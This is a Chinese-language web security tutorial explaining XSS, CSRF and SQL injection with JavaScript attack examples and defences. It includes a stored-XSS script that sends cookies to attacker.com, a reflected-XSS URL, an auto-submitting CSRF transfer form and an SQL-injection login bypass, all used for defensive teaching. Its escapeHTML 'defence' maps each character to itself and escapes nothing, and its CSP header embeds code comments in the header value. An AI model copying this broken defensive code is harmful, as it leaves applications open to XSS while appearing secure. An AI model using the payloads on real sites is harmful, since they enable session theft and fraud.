Appearance
Web安全攻防
一、概述
Web安全是现代Web应用程序中最重要的议题之一。随着互联网的快速发展,Web应用变得越来越复杂,攻击者也在不断寻找新的漏洞和攻击方式。本文将详细介绍常见的Web攻击方式及其防御措施。
二、XSS(跨站脚本攻击)
2.1 什么是XSS?
XSS(Cross-Site Scripting)是最常见且危害较大的Web安全漏洞之一。攻击者通过在目标网站上注入恶意脚本,当用户浏览页面时,这些脚本会在用户的浏览器上执行,从而达到攻击目的。
XSS可以做什么?
- 窃取用户Cookie
- 监听用户行为
- 修改DOM结构
- 发送恶意请求
- 劫持用户会话
2.2 XSS的三种类型
1. 存储型XSS
这是最危险的XSS攻击类型。攻击者将恶意代码提交到网站数据库中,当其他用户浏览包含此恶意代码的页面时,代码会被执行。
javascript
// 典型的存储型XSS攻击场景
// 1. 攻击者在评论框提交恶意代码
const maliciousComment = `
<script>
// 窃取用户Cookie
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
看起来是一条普通的评论
`;
// 2. 服务器未经处理存入数据库
db.comments.save(maliciousComment);
// 3. 其他用户访问页面时,恶意代码被执行
常见的存储型XSS攻击场景:
- 论坛发帖
- 商品评论
- 用户留言
- 个人信息设置
2. 反射型XSS
反射型XSS的恶意代码存在URL中,需要用户点击特制的链接才能触发攻击。
javascript
// 一个易受攻击的搜索接口
app.get('/search', (req, res) => {
// 直接将用户输入返回页面,未经过滤
res.send(`
<h1>搜索结果:${req.query.keyword}</h1>
`);
});
// 攻击者构造的恶意URL
// http://example.com/search?keyword=<script>alert('XSS')</script>
3. DOM型XSS
DOM型XSS是一种特殊的XSS,它的特点是恶意代码不会经过服务器,而是直接在用户浏览器中执行。
2.3 XSS防御措施
1. 输入过滤
对用户输入的内容进行严格过滤是防御XSS的第一道防线。
javascript
// HTML转义函数
function escapeHTML(str) {
return str.replace(/[&<>'"]/g, tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
})[tag] || tag);
}
// 在渲染用户输入前进行转义
const userInput = '<script>alert("XSS")</script>';
const safeInput = escapeHTML(userInput);
console.log(safeInput); // <script>alert("XSS")</script>
2. CSP(内容安全策略)
CSP是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括XSS和数据注入攻击。
javascript
// 在HTTP头中设置CSP
response.setHeader('Content-Security-Policy', `
default-src 'self'; // 只允许本站资源
script-src 'self' trusted.com; // 只允许本站和trusted.com的脚本
style-src 'self' 'unsafe-inline'; // 允许本站样式和内联样式
img-src 'self' data: https:; // 允许本站图片、data URL和HTTPS图片
connect-src 'self' api.trusted.com; // 只允许连接到本站和api.trusted.com
`);
3. HttpOnly Cookie
通过设置HttpOnly标志可以防止JavaScript访问Cookie,从而防止XSS攻击窃取Cookie。
javascript
// 设置HttpOnly Cookie
response.setHeader('Set-Cookie', 'sessionId=abc123; HttpOnly');
三、CSRF(跨站请求伪造)
3.1 什么是CSRF?
CSRF(Cross-Site Request Forgery)是一种强迫用户在已登录的Web应用程序上执行非本意的操作的攻击方式。攻击者通过各种方式欺骗用户的浏览器发送恶意请求。
CSRF攻击的特点:
- 依赖用户已登录的身份
- 利用网站对用户浏览器的信任
- 欺骗用户浏览器发送HTTP请求
- 攻击者无法获取到响应内容
3.2 CSRF攻击示例
html
<!-- 攻击者的网站上的恶意表单 -->
<form action="https://bank.com/transfer" method="POST" id="stealMoney">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
document.getElementById('stealMoney').submit(); // 自动提交表单
</script>
3.3 CSRF防御措施
1. CSRF Token
CSRF Token是最主流的防御方案。
javascript
// 服务端生成Token
app.get('/form', (req, res) => {
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
res.send(`
<form action="/api/action" method="POST">
<input type="hidden" name="_csrf" value="${csrfToken}">
<!-- 其他表单字段 -->
</form>
`);
});
// 验证Token
app.post('/api/action', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF token validation failed' });
}
// 处理请求...
});
2. Same-Site Cookie
现代浏览器支持Same-Site Cookie属性,可以防止CSRF攻击。
javascript
// 设置Same-Site Cookie
response.setHeader('Set-Cookie', 'sessionId=abc123; SameSite=Strict');
四、SQL注入
4.1 什么是SQL注入?
SQL注入是一种代码注入技术,通过在用户可控的输入位置插入SQL语句,破坏原有SQL语句的结构,从而达到执行恶意SQL语句的目的。
4.2 SQL注入示例
javascript
// 不安全的查询
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
// 攻击者输入
username: admin' --
password: anything
// 最终执行的SQL
// SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'
// 注释符号--使后面的条件被忽略,导致密码验证被跳过
4.3 SQL注入防御
1. 参数化查询
使用参数化查询是防御SQL注入的最佳实践。
javascript
// 使用参数化查询
const mysql = require('mysql2');
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
database: 'test'
});
// 安全的查询方式
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.execute(query, [username, password], (err, results) => {
if (err) throw err;
console.log(results);
});
2. ORM框架
使用ORM框架可以大大降低SQL注入风险。
javascript
// 使用Sequelize ORM
const user = await User.findOne({
where: {
username: username,
password: password
}
});
五、其他安全措施
5.1 安全的密码存储
javascript
const bcrypt = require('bcrypt');
// 密码加密
async function hashPassword(password) {
const salt = await bcrypt.genSalt(10);
return await bcrypt.hash(password, salt);
}
// 密码验证
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
5.2 安全的会话管理
javascript
// Express会话配置
app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sessionId',
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
maxAge: 24 * 60 * 60 * 1000, // 24小时
sameSite: 'strict'
},
resave: false,
saveUninitialized: false
}));
六、总结
Web安全是一个持续的过程,需要在开发的各个环节都注意防范:
代码层面:
- 输入验证和过滤
- 参数化查询
- 安全的密码存储
配置层面:
- CSP策略
- Cookie安全属性
- HTTPS
架构层面:
- 最小权限原则
- 纵深防御
- 安全监控
运维层面:
- 及时更新补丁
- 定期安全审计
- 日志监控
只有在各个层面都做好防护,才能构建一个相对安全的Web应用。